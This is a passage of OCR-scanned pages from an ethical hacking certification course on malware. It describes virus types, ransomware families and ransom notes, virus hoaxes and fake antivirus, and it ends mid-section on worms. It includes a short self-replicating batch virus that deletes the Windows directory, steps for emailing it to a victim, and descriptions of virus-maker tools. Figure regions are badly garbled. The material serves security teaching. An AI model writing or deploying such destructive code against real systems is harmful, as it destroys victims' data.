The transformation of virus bodies ranges from simple to complex, depending on the technique
used. Some techniques used for metamorphosing viruses are as follows:
■ Disassembler
■ Expander
■ Permutator
■ Assembler
Virus bodies are transformed in the following steps:
1. Inserts dead code

2. Reshapes expressions
3. Reorders instructions
4. Modifies variable names
5. Encrypts program code
6. Modifies program control structure

Variant 1 Variant 2 Variant 3

~-----~
,.,.. ,► Metamorphic Engine This diagram depict s m et amor phic malware variant s w ith record ed code

Figure 7.45: Working of metamorph ic virus

Overwriting File or Cavity Viruses

Some programs have empty spaces in them. Cavity viruses, also known as space fillers,
overwrite a part of the host file with a constant (usually nulls), without increasing the length of
the file while preserving its functionality. Maintaining a constant file size when infecting allows
th e virus to avoid detection. Cavity viruses are rarely found due to the unavailability of hosts
and code complexity.
A new design of a Windows file, called the Portable Executable {PE), improves the loading
speed of programs. However, it leaves a particul ar gap in th e file whil e it is being executed,
which can be used by the cavity virus to insert itself.

Module 07 Page 1039 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Content in the file before infection Content in the file after infection
Sales and marketing management is the Null Null Null Null Null Null Null
Null Null Null Null Null Null Null
leading authority for executives in the sales
Null Null Null Null Null Null Null
and marketing management industries. Null Null Null Null Null Null Null
The suspect, Desmond Turner, surrendered Null Null Null Null Null Null Null
to authorities at a downtown Indianapolis Null Null Null Null Null Null Null
fast-food restaurant Null Null Null Null Null Null

--
.~ 1.....................................................):1, ~
Original File
Size: 45 KB
~
'-l
Infected File

Figure 7.46: Working of overwriting file or cavity virus


Size: 45 KB

Companion/Camouflage Viruses

The companion virus stores itself with the same filename as the target program file. The virus
infects the computer upon executing the file, and it modifies the hard disk data. Companion
viruses use DOS to run COM files before the execution of EXE files. The virus installs an identical
COM file and infects EXE files.
This is what happens. Suppose that a companion virus is executing on the PC and decides that it
is time to infect a file. It looks around and happens to find a file called notepad.exe. It now
creates a file called notepad.com, containing the virus. The virus usually plants this file in the
same directory as the .exe file; however, it can also place it in any directory on the DOS path. If
you type notepad and press Enter, DOS executes notepad.com instead of notepad.exe (in
sequence, DOS will execute COM, then EXE, and then BAT files with the same root name, if they
are all in the same directory). The virus executes, possibly infecting more files, and then loads
and executes notepad.exe. The user would probably fail to notice that something is wrong. It is
easy to detect a companion virus just by the presence of the extra COM file in the system.
Virus infects
the system with a file
notepad.com and saves it in
c:\winnt\system32 directory
·························➔
El--
: ··········~
Attacker Notepad.exe Notepad.com

Figure 7.47: Working of companion virus/ camouflage virus

Shell Viruses

The shell virus code forms a shell around the target host program's code, making itself the
original program with the host code as its sub-routine. Nearly all boot program viruses are shell
viruses.

Module 07 Page 1040 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Before Infection

~ Original Program ~

___
~ Virus Code ~
After Infection
:_···_················-..,
~ Original Program ~

Figure 7.48: Working of shell viru s

File Extension Viruses


File extension viruses change the extensions of files. The extension .TXT is safe as it indicates a
pure text file. With extensions turned off, if someone sends you a file named BAD.TXT.VBS, you
will only see BAD.TXT. If you have forgotten that extensions are turned off, you might think that
this is a text file and open it. It actually is an executable Visual Basic Script virus file and could
cause severe damage.
The guidelines to secure files against such virus infection are as follows:
■ Turn off "Hide file extensions" in Windows (Go to Control Panel ➔ Appearance and
Personalization ➔ Show hidden files and folders ➔ View tab ➔ Uncheck Hide
extensions for known file types).

■ Scan all the f iles in the system using robust antivirus software; th is requires a substantial
amount of time.

File Explorer Options X

General Vtew Search

Folder views
You can apply this view (such as OetaHs or lcons)to
al folders of this type .

/lf,pl,y to Fo[ders r.·:. ..B.eset. Folders .....J


Advanced settings:
■ Display file size iriormation in folder tips
0 Display the ful path in the title bar
Hidden files and folders
0 Oonl show hidden files. folders. or drives
0 Show hidden Iles. folders. and drives
I
■ Hide"'1V>lvdrives
11 I Hide extensions for known file types I
■ Hide folder merge corilicts
0 Hide protected operating system files (Recommended)
0 launch folder windows in a separate process
0 Restore previous folder windows at logon
■ Show drive letters

Restore Q.e!aults

OK Cancel &,ply

Figure 7.49: Screenshot displaying Folder Options Window

Module 07 Page 1041 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

FAT Viruses
A FAT virus is a computer virus that attacks the File Allocation Table (FAT), a system used in
Microsoft products and some other types of computer systems to access the information
stored on a computer. By attacking the FAT, a virus can cause severe damage to a computer.
FAT viruses can work in a variety of ways. Some are designed to embed themselves into files so
that when the FAT accesses the file, the virus is triggered. Others may attack the FAT directly.
Many are designed to overwrite files or directories, and material on a computer can lost
permanently. If a FAT virus is sufficiently powerful, it can render a computer unusable in
addition to destroying data, forcing a user to reformat the computer.
Essentially, a FAT virus destroys the index, thereby making it impossible for a computer to
locate files. The virus can spread to files when the FAT attempts to access them, corrupting the
entire computer eventually. FAT viruses often manifest in the form of corrupted files, with
users noting that files are missing or inaccessible. The FAT architecture itself can also be
changed; e.g., a computer that should be using the FAT32 protocol might abruptly say that it is
using FAT12.
Logic Bomb Viruses
A logic bomb is a virus that is triggered by a response to an event, such as the launching of an
application or when a specific date/time is reached, where it involves logic to execute the
trigger.
For example, cyber-criminals use spyware to covertly install a keylogger on your computer. The
keylogger can capture keystrokes, such as usernames and passwords. The logic bomb is
designed to wait until you visit a website that requires you to log in with your credentials, such
as a banking site or social network. Consequently, the logic bomb will be triggered to execute
the keylogger, capture your credentials, and send them to a remote attacker.
When a logic bomb is programmed to execute on a specific date, it is referred to as a time
bomb. Time bombs are usually programmed to set off when important dates are reached, such
as Christmas and Valentine' s Day.
Web Scripting Viruses
A web scripting virus is a type of computer security vulnerability that breaches your web
browser security through a website. This allows attackers to inject client-side scripting into the
web page. It can bypass access controls and steal information from the web browser. Web
scripting viruses are usually used to attack sites with large populations, such as sites for social
networking, user reviews, and email. Web scripting viruses can propagate slightly faster than
other viruses. A typical version of web scripting viruses is DDoS. It has the potential to send
spam, damage data, and defraud users.
There are two types of web scripting viruses: non-persistent and persistent. Non-persistent
viruses attack you without your knowledge. In the case of a persistent virus, your cookies are
directly stolen, and the attacker can hijack your session, which allows the attacker to
impersonate you and cause severe damage.

Module 07 Page 1042 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is St rictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Prevention

The best ways to prevent these viruses and exploits are by safely validating untrusted
HTML inputs, enforcing cookie security, disabling scripts, and using scanning services
such as an antivirus program with real-time protection for your web browser. It is also
beneficial to avoid unknown websites and use World of Trust to ensure that a site is
safe. You would notice if you are infected with a web scripting virus if your searches are
linked elsewhere and the background or homepage changes. The computer runs slowly
and sluggishly, and programs may close randomly. Modern-day browsers have add-ons
such as Adblock Plus, which allow users to prevent scripts from being loaded.
E-mail Viruses

An e-mail virus refers to computer code sent to you as an e-mail attachment, which if activated,
will result in some unexpected and usually harmful effects, such as destroying specific files on
your hard disk and causing the attachment to be emailed to everyone in your address book.
Email viruses perform a wide variety of activities, from creating pop-ups to crashing systems or
stealing personal data. Such viruses also vary in terms of how they are presented. For example,
a sender of an email virus may be unknown to a user, or a subject line may be filled with
nonsense. In other cases, a hacker may cleverly disguise an email to appear as if it is from a
trusted or known sender.
To avoid email virus attacks, you should never open (or double-click on) an e-mail attachment
unless you know who sent it and what the attachment contains; in addition, you must install
and use antivirus software to scan any attachment before you open it.
Armored Viruses

Armored viruses are viruses that are designed to confuse or trick deployed antivirus systems to
prevent them from detecting the actual source of the infection. These viruses make it difficult
for antivirus programs to trace the actual source of the attack. They trick antivirus programs by
showing some other location even though they are actually on the system itself.
The following basic techniques are adopted by armored viruses:
■ Anti-disassembly

Anti-disassembly is a technique that uses specially crafted code or data in a program to


produce an incorrect program listing by disassembly analysis tools.
■ Anti-debugging

Anti-debugging techniques are used to ensure that the program is not running under
the debugger. This can slow down the process of reverse engineering, but it ca nnot be
prevented.
■ Anti-heuristics

Anti-heu ristics are used in machine code to prevent heuristic analysis, and they rely on
the program's ability to protect itself from programmer and debugger intervention.

Module 07 Page 1043 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ Anti-emulation

Anti-emulation techniques are used to avoid dynamic analysis by fingerprinting the


emulated system environment; they can also secure intellectual property against
emulation-assisted reverse engineering.
■ Anti-goat

Anti-goat techniques use heuristic rules to detect possible goat files such as a virus that
cannot infect a file if it is too small or if it contains a large amount of do-nothing
instructions. Anti-goat viruses require more time for analysis.
Add-on Viruses

Add-on viruses append their code to the host code without making any changes to the latter or
relocate the host code to insert their code at the beginning.

Original Program

Original Program

Original Program
: JUMP ~ ~
'··················t ·•············ ··•··············· ······ ····•······················•··············•····' .... JUMP •.• •••... J:
Figure 7.50: Working of add-on virus

Intrusive Viruses

Intrusive viruses overwrite the host code completely or partly with the viral code.

Original Program

Original Program

Figure 7.51: Working of intrusive virus

Direct Action or Transient Viruses

Direct action or transient viruses transfer all controls of the host code to where it resides in the
memory. It selects the target program to be modified and corrupts it. The life of a transient
virus is directly proportional to the life of its host. Therefore, transient virus executes only upon
the execution of its attached program and terminates upon the termination of its attached
program. At the time of execution, the virus may spread to other programs. This virus is
transient or direct, as it operates only for a short period and goes directly to the disk to search
for programs to infect.
Terminate and Stay Resident (TSR} Viruses

A terminate and stay resident (TSR) virus remains permanently in the target machine's memory
during an entire work session, even after the target host's program is executed and terminated.
The TSR virus remains in memory and therefore has some control over the processes. In
general, the TSR virus incorporates interrupt vectors into its code so that when an interrupt

Module 07 Page 1044 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is St rictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

occurs, the vector directs execution to the TSR code. If the TSR virus infects the system, the
user needs to reboot the system to remove the virus without a trace.
The following steps are employed by TSR viruses to infect files:
• Gets control of the system
■ Assigns a portion of memory for its code
■ Transfers and activates itself in the allocated portion of memory
• Hooks the execution of code flow to itself
■ Starts replicating to infect files

Module 07 Page 1045 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Ransomware

Ransomware is a type of malware that restricts access to a computer system's files and folders and demands an
on line ransom payment to the malware creator(s) to remove the restrictions

BlackCat Ransomware Families


BlackCat is dangerous
ransomware that targets
---~ _____ Wflo-•_.,..--·-·-
... was compromised._.,,...
Your network

___ _ .,.._.,...,._._,ow
___ ___ ,,__..... ..., ..
e Cerber

...
°"' ~
e Xi nglocker
operating systems from
almost all vendors,
·-•-•,--·--
........- . . . . -------•-u..o.
'"'"~·-·- e Conti

including Windows,
Linux, and ESXi virtual
-- -- e
e
Thanos

Wasted locker
machines
... ..
.....,._...,,,. _ .,, _,._ C e RansomEXX

e NETWALKER

II QNAPCrypt

e Maze

e Ryuk
BlackCat Ransom Note

•' Copynght C> by lC-CHICII All Rights Reserved Reproduction is Stnctly Prohibited

Ransomware (Cont'd)
It mainly targets Windows-based devices. It Ransomware
uses encryption keys such as RSA public and
BlackMatter
I AES keys for initializing and implementing
Salsa20 encryption
e Clop Ran somware

e DeadBolt
e Egregor
e Dharma
e eCh0raix

e SamSam
e WannaCry
e Petya - NotPetya

e GandCrab
e MegaCort ex

e LockerGoga
e NamPoHyu
e Ryuk

e Cryptgh0st

~~ Copyright C) by lC-CIIIICII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Ransomware
Ransomware is a type of malware that restricts access to the infected computer system or
critical files and documents stored on it, and then demands an online ransom payment to the
malware creator(s) to remove user restrictions. Ransomware might encrypt files stored on the
system's hard disk or merely lock the system and display messages meant to trick the user into
paying the ransom.

Module 07 Page 1046 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Usually, ransomware spreads as a Trojan, entering a system through email attachments, hacked
websites, infected programs, app downloads from untrusted sites, vulnerabilities in network
services, and so on. After execution, the payload in the ransomware runs and encrypts the
victim's data (files and documents), which can be decrypted only by the malware author. In
some cases, user interaction is restricted using a simple payload.
In a web browser, a text file or webpage displays the ransomware demands. The displayed
messages appear to be from companies or law enforcement personnel falsely claiming that the
victim's system is being used for illegal purposes or contains illegal content (e.g., porn videos,
pirated software), or it could be a Microsoft product activation notice falsely claiming that
installed Office software is fake and requires product re-activation. These messages entice
victims into paying money to undo the restrictions imposed on them . Ransomware leverages
victims' fear, trust, surprise, and embarrassment to get them to pay the ransom demanded.
Ransomware Families

Some additional ransomware families are as follows :


■ Cerber ■ RansomEXX
■ Xinglocker ■ NETWALKER
■ Conti ■ QNAPCrypt
■ Thanos ■ Maze
■ Wastedlocker ■ Ryuk
Examples of Ransomware

■ BlackCat

BlackCat is a dreadful ransomware attack written in Rust and profoundly known as


ALPHA (AlphaVM, AlphaV). It was first discovered in late November 2021. The
ransomware targets almost all vendor OSes including Windows, Linux, and ESXi virtual
machines. It is specially crafted ransomware comprising 4 encryption routines and
supports several encryption algorithms such as ChaCha20 and AES. This ransomware is
supplied as ransomware as a service (RaaS), engaging associates to operate from various
locations. Using Blackcat , attackers can t arget various IT industries worldwide for
demanding a ransom from the victims in the form of Bitcoins and Monero. The attack
mainly focuses on cra shing targeted devices and running processes, applications, and
VMs during their encryption process. BlackCat employs phishing tactics on the victims
by delivering its payload using vulnerable applications and exposed toolsets.

Module 07 Page 1047 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

X + □ X

Your network was compromised.


Important Files on your network was downloaded and enaypted.
We used an asymmetric cipher to encrypt your files. Meaning the only way to decrypt them Is to have a Private
Key.
Our custom Decrypt App is bundled with your Private Key.
In order to buy it you have to follow Instructions below. If you have questions please feel free to use Live Chat.
Act quicly to get a discount!

Decrypt App Price

You have 4 days, 09:22:09 until: Discount Price: $3000000


• Decrypt App special discount period will be djscontjnue<J.
• Discount price is available until 12/14/21, 3:41 AM Full Price: $3500000

Status

Awaiting payment of $3000000 to one of the following wallets: C


Bitcoln ~AIMY4".~"~'W'~~)'~~ $3450000 (?) = 71 .533725 BTC
Monero 4 ( . ~ " " ) ' / . ~ ' t " : ~ q _ ~ ~ ~ ~ ; { ~ $3000000 = 15495.867769 XMR
~/4/4(•~~~~<:l,,X,-~~~l<.
1¢4

Instructions UveChat Trial Decrypt Intermediary

I wish to pay with


Bitcoln

Figure 7.52: BlackCat ra nsom note

■ BlackMatter

BlackMatter is dangerous ransomware written in C. It was discovered in 2021 and


considered an extension of dreadful ransomware such as DarkSide and REvil. This
ransomware mainly targets Windows devices can also compromise Linux devices using
unique payloads that can be later used to develop RATs for exploiting Windows devices.
The attackers mainly target organizations having high-level turnovers, excluding the
companies that were already attacked using DarkSide and REvil. This ransomware uses
encryption keys such as RSA public and AES keys for initializing and implementing
Salsa20 encryption on the targeted files. The encryption process is crafted in such a
manner that the encrypted file consists of a decrypting blob that comprises a special
tool to facilitate the post-ransom money transfer by the victim. This malware is also
supplied as RaaS, engaging associates to operate from various locations. BlackMatter
crashes various files and closes all the other running processes and applications while
encrypting the targeted files on the victim device. Using this malware, attackers can also
gain control over domain controllers, ACLs, and other user access controls (UACs).

Module 07 Page 1048 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Figure 7.53: BlackMatter ransom note

The following are some additional ransomware:


■ Clop Ransomware ■ Petya - NotPetya
■ Dead Bolt ■ GandCrab
■ Egregor ■ MegaCortex
■ Dharma ■ LockerGoga
■ eChOraix ■ NamPoHyu
■ SamSam ■ Ryuk
■ WannaCry ■ CryptghOst

Module 07 Page 1049 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

How to Infect Systems Using a Virus: Creating a Virus

A virus can be created in two different ways:


8 Writing a Virus Program
8 Using Virus Maker Tools Send the Game.com file as
an email attachment to a
victim

r
Create a batch file
Game.bat with this text

Writing a Virus Progra=J @ echo o ff


f or %%fin (*.bat) do
··············c»···········&···············$
. .
copy %%f + Game.bat
del c:\Windows\* .*

When run, it copies itself to


Convert the Game.bat
all the .bat files in the current
batch file to Game.com
directory and d eletes all the
using the bat2com utility
files in the Windows directory

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

How to Infect Systems Using a Virus: Creating a Virus (Cont'd)

r UsingVirus MakerToo: J DELmE's Batch Virus Maker


DELmE batch virus maker creates viruses t hat can perform
~
tasks such as deleting files on a hard disk drive, disabling
admin privileges, cleaning the registry, and killing tasks
JPS Virus Maker

Virus Maker Tools

8 Bhavesh Virus Maker SKW

8 Dead ly Virus Maker


~ ~
~ ~
8 SonicBat Batch Virus Maker ~ ~

8 TeraBIT Virus Maker

8 Andreinick05's Batch Virus Maker


-- ~
~

Ls....r.c.-.J:-:,,;::~Q,---
\lUIIE', _ _ _ Ho
~
~

•.- Copynght C) by (C-C1111CII All Rights Reserve d Reproduction 1s St nctly Prohibited

How to Infect Systems Using a Virus


Attackers can infect systems using a virus in the following steps:
■ Creating Virus
■ Propagating and Deploying Virus

Module 07 Page 1050 Ethical Hacking and Countermeasures Copyright © by EC-Council


A ll Rights Reserved . Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Creating a Virus
A virus can be created in two ways : writing a virus program, and using virus maker tools.
■ Writing a Simple Virus Program

The following steps are involved in writing a simple virus program :


1. Create a batch file Game.bat with the following text:

@ echo off

for %%fin (* .bat) do copy %%f + Game.bat


del c:\Windows\* .*
2. Convert the Game.bat batch file into Game.com using the bat2com utility
3. Send the Game.com file as an email attachment to the victim
4. When Game.com is executed by the victim, it copies itself to all the .bat files in the
current directory on the target machine and deletes all the files in the Windows
directory

■ Using Virus Maker Tools

Virus maker tools allow you to customize and craft your virus into a single executable
file. The nature of the virus depends on the options available in the virus maker tool.
Once the virus file is built and executed, it can perform the following tasks :
o Disable Windows command prompt and Windows Task Manager
o Shut down the system
o Infect all executable files
o Inject itself into the Windows registry and start up with Windows
o Perform non-malicious activity such as unusual mouse and keyboard actions

Module 07 Page 1051 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

The following tools are useful for testing the security of your own antivirus software.
o DELmE's Batch Virus Maker

DELmE's Batch Virus Generator is a virus creation program with many options to
infect the victim's PC, such as formatting the C: drive, deleting all the files in the hard
disk drive, disabling ad min privileges, cleaning the registry, changing the home page,
killing tasks, and disabling/removing the antivirus and firewall.

1!111 DELmE's Batch Virus Makor v 2.0 c::, 8 ~


. Infection Payload Other Options
Local Infection
I nfect Reg fw Key I I nfectM Drives I I Infect All Foidel>

I Infect Startup Folder nfect Autoexec.bat I I


J [ Infect '1s" Cmd

Rletype Infection

I Infect All .Exe Fies II nfect M .l.nk Fies II nfect M .Doc Ries

I Infect M .Txt Fies II Infect M .Pdf Fies II nfect All .Xml Fies

I Infect /JI .Mp3 Fies II Infect All .Mp4 Ries II lrtect M .Png Ries

Infect Fielype...
Erler Ale Extension To Infect (eg ".txt1

~ ~
~----- ~ ------ ~

~ ~
~ ~
~ ~
lrteme! Spreading
[ Send To Contacts J Sends Vrus To All Contacts On Microsoft Outlook
~ fv, Email Attachmert

DElmE's Batch Vrus Maker nfo

DElmE's Batch Vrus Maker.

Version: 2.0
~ ~ language : !'tiolt v3.3.0.0
Coded By: DElmE
Coded for: Membe,, of HackForums.Net
Vrus Name Comect Trojan
To contact me visi HackFon.ms.Net and send me a message
Save~ .Bat
Vrus .Auho, Fabmolf
Please view the User /lgeemert by dicki,g the "','geement button" and make
'kw "',reernenl J [ View Credits sue you fully understand and agree with the agreement .
11 Save~ .Txt
Start Over J [ Exit I~ - - - - ~

Figure 7.54: Scree nshot of DELmE's Batch Virus Maker

Module 07 Page 1052 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

o JPS Virus Maker


JPS Virus Maker tool is used to create customized viruses. It has many in-built
options to create a virus. Some of the features of this tool are auto-startup, disable
task manager, disable control panel, enable remote desktop, turn off Windows
Defender, etc.

JPS ( Virus Make r 4.0 ) !!Jf3

Figure 7.55: Working of JPS Virus Maker

Some additional virus maker tools are as follows:


• Bhavesh Virus Maker SKW
• Dead ly Virus M aker
• SonicBat Batch Virus Maker
■ Tera BIT Virus Maker
■ AndreinickOS's Batch Virus M aker

Module 07 Page 1053 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

How to Infect Systems Using a Virus: Propagating and


Deploying a Virus
Virus Hoaxes Google Critical Security Alert Scam

Google 9Apr
Hoaxes are false alarms claiming reports tome •
about a non-existing virus that may
contain virus attachments
Go gle
Warning messages p ropagating that a
certa in email message should not be
viewed and doing so w ill damage one's New device signed in to
system

Some of the famous virus hoaxes are as


follows: Your Google Account was just signed in to from a new Windows device You're getting this
emall to make sure thal It was you
e AppleCare

8 Bangkok8.5 Earthquake Video MiiiiSiMii


8 Chrome critical error
You received this email to let you know about Important changes to your Google Account and seivices

8 Compromisingvideo C2018 Google Inc 1600 Amphitheatre PaMVay. Mountain View. CA 94043. USA

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

How to Infect Systems Using a Virus: Propagating and


Deploying a Virus (Cont'd)
Fake Antivirus Total Antivirus 2020

A well-designed, fake antivirus looks authentic


and often encourages users to i nstall it on
their systems, perform updates, o r remove
viruses and other ma licious programs ThrHI Name Loation OUCtC,ltion
01Tfo,IIIMOMttfX C:\Wildowt\sytt-.32\N- , T'-troflllMflOl..,_,,.tfflN ft
Once installed, these fake antiviruses can 0 Tro;.n~nlOfflCr)'pl.AP C~ON\inista TM!r'Offl\lOCD~tr-1
0 Baddood)uuzer.B C:\Wndows\system32\us ni. beckdoor i s ~ contr_
damage target systems like other malwares w 0.lerJ(petlbem.biZ_d C:\Wftdowt\s)'$t~ TluldltltfoftenM:erdlesfors
[:_] S..rity t Adw.,, lovefreeG. C:\Wrldows\syi,ttffl32¥.b n. ..:!were~ .Oveltlff
0 TrojiM:wi\32.lfaUSys C'IUsers\A.pplcebOl'IOltl\l n..iro;.n ■ ,t•~olf)1'()91'a
r Adwwe.~11'2. C.-\Wlldows\sy$lem32\pe. .. WyPCRe~ r2011S •1progre_
f JS.G1;9«>.CDmn C-\Vmdows\syi,t~ JS Gtner.ACnwn ii I worm WT.
~ V9S\.a.lAQ"'" C \W'rlclows\aystem32\ay V9S lae..AQmffl ■ I rNISWNI..
0 W1'132JflURtll'I C.-\Wftdows\syi,teffl3MV Wi'll2JF1leRe1n pretends to,_
Fake Antivirus Programs


8 Krestinaful
8 Live Protection Suite
► Sc.ankow
RU
8 antivirus-covid 19(. ]site
GE PROl[CTlON O lnfff:ted:
♦ SWe rq,ort
10

8 Free Antivirus 2019

Copynght () by lC~llllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Propagating and Deploying a Virus


After creating viruses, attackers can adopt various virus propagation and deployment
techniques to transfer the virus to the victim's machine. Some of these techniques are as
follows:
• Virus Hoaxes
• Fake Antivirus

Module 07 Page 1054 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Virus Hoaxes
Techniques such as virus hoaxes and fake antivirus software are widely used by attackers to
introduce viruses into victims' systems.
Virus hoaxes can be nearly as harmful as real viruses in terms of loss of productivity and
bandwidth while naive users react to them and forward them to other users. Because viruses
tend to create considerable fear, they have become a common subject of hoaxes. Virus hoaxes
are false alarms claiming reports of nonexistent viruses.
The following are some critical features of virus hoaxes:
■ These warning messages, which can be rapidly propagated, state that a particular e-mail
message should not be opened, and that doing so would damage one's system.
• In some cases, these warning messages themselves contain virus attachments.
Try to crosscheck the identity of the person who has posted the warning.
It is a good practice to look for technical details in any message concerning viruses.
Furthermore, search for information on the Internet to learn more about hoaxes, especially by
scanning bulletin boards on which people actively discuss current community
happenings/concerns. Before jumping to conclusions by reading Internet information, first,
check the following:
■ If the information is posted by newsgroups that are suspicious, cross-check the
information with another source.
■ If the person who has posted the news is not an expert or a known person in the
community, crosscheck the information with another source.
■ If a government body has posted the news, the posting should also have a reference to
the corresponding federal regulation.
• One of the most effective checks is to look up the suspected hoax virus by name on
antivirus software vendor sites.
Google Critical Security Alert Scam:
In 2018, a massive hoax campaign was launched, in which threat actors spread Google Critical
Security Alert messages to victims. Google Critical Security Alert is a service provided by Google
to notify its users regarding any activity related to their accounts. The activities can include
logging in, changing passwords, changing personal information, etc. Attackers create and send
fake alert emails to victims, thereby notifying them that the aforementioned activities have
taken place. By looking at the critical alert email, the user clicks the link provided in the email
and subsequently gets infected. The figure below describes a hoax email stating "New device
signed in to." By looking at this email without noting the email source, the victim clicks the
" CHECK ACTIVITY" button and gets trapped .

Module 07 Page 1055 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is St rictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Google 9Apr
tome •

Go gle

New device signed in to

Your Google Account was just signed in to from a new Windows device. You're getting this
email to make sure that it was you.

CHECK ACTIVITY

You received this email to let you know about important changes to your Google Account and services
© 2018 Google Inc. 1600 Amphitheatre Parkway, Mountain View. CA 94043. USA

Figure 7.56: Screenshot of Google Critical Security Alert Scam

Some additional virus hoaxes are as follows:


■ AppleCare
■ Bangkok 8.5 Earthquake Video
■ Chrome critical error
■ Compromising video
Fake AntiVirus

Fake or rogue antivirus software is a form of Internet fraud based on malware. It appears and
performs similarly to a real antivirus program . Fake antivirus software is often displayed in
banner ads, pop-ups, email links, and search engine results when searching for antivirus
software. A well-designed fake antivirus software looks authentic and often encourages users
to install it on their systems, perform updates, or remove viruses and other malicious programs.
Upon clicking the ad, pop-up, or link to install the antivirus software, users are redirected to
another page where they are prompted to buy or subscribe to that antivirus software by
entering their payment details. Fake antivirus software can cause severe damage to systems
once downloaded and installed; e.g., they infect systems with malicious software, steal
sensitive information (e.g., passwords, bank account numbers, credit card data), and corrupt
files.

Module 07 Page 1056 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

At present, a new fake antivirus trend has emerged . Fake antivirus tools are rapidly
proliferating the mobile application space. According to AV-Comparatives research, two-thirds
of all antivirus applications present in the Android Play Store are fake.
■ Total Antivirus 2020

Total Antivirus 2020 is fake antivirus software intended to trick users by masquerading
as a sophisticated antimalware suite for malware detection and prevention. This tool is
listed as one of the effective potentially unwanted applications (PUAs) infecting most of
the devices that actively use its licensed version. The attacker initiates fake financial
transactions once the user activates the full version of this antivirus software. The users
are provoked by fake alerts and notifications informing that their system is badly in
need of the activated antivirus program.

TotalAntivirus 2020: System scan


Threat Name Location Oescri)lion

~ System scan 0 j Trojan MonsterX


0 Trojan.Ransomcrypt.AP
C:\Wndowslsystem321M-...
C:\Appication Data\lestSta...
This troian sends spam emai m...
This trojan locks computer and ...
0 Backdoor.Duuzer.B C:W,ndowslsystem32\us... This bactdoor is remotely contr...
Dialer..Xpehbam.biz_d C:\Windowslsystem321dln... This dialer often searches for s...
[!J Security I Adware.LovefreeGa... C:\Windowslsystem32\Ab... This adware displays adVertise .. .
0 Trojlln:Win321FakeSys... C:\Users\AppicatllnOata\3 .. This trojan IS a !any of progra.. .
Adware.MyPCRepar2... C:\Windows\system32\pc... My PC Repar 2018 is a progra ...
I JS.Gigger.A@mm C:\Windowslsystem32\caL.. JS.G,gger.A@mm is a worm wr...
Update I VBS.Llsa.A@mm C:\Windowslsystem321sy... VBS.LISa.A@mm is a mass-mat ..
0 W11321FakeRean C:\Windowslsystem32\AV... W-1132/FakeRean pretends to s ...

Oo Settings
0
{I) SCAN PROGRESS

Sunning:
► ScanNow
Path: Scan fnshed. Oearup reqcwed.
O lnfect~: 10
Alert! Your system is infected! . . Save report

Figure 7.S7: Screenshot of Total Antivirus 2020

Some additional fake antivirus programs are as follows:


■ Krestinaful
■ Live Protection Suite
■ antivirus-covid19[.]site
■ Free Antivirus 2019

Module 07 Page 1057 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Computer Worms

J Computer worms are malicious program s How is a Worm Different from a Virus?
that independently replicate, execute, and
spread across the network connections,
J A Worm Replicates on its own
thus consuming available comput ing resources
without human intera ction
A worm is a special type of malware t hat ca n
